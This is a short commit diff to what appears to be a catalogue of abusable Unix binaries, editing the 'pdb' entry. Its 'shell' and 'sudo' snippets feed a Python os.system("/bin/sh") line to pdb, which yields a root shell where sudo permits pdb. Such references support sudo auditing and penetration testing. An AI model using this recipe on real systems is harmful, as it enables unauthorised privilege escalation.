Avoid temp directory in pdb

This commit is contained in:
Andrea Cardaci 2020-03-15 12:28:22 +01:00
parent 41124f24c2
commit 1342a7b981

View File

@ -2,14 +2,14 @@
functions: functions:
shell: shell:
- code: | - code: |
TF=$(mktemp -d) TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF/x echo 'import os; os.system("/bin/sh")' > $TF
pdb $TF/x pdb $TF
cont cont
sudo: sudo:
- code: | - code: |
TF=$(mktemp -d) TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF/x echo 'import os; os.system("/bin/sh")' > $TF
sudo pdb $TF/x sudo pdb $TF
cont cont
--- ---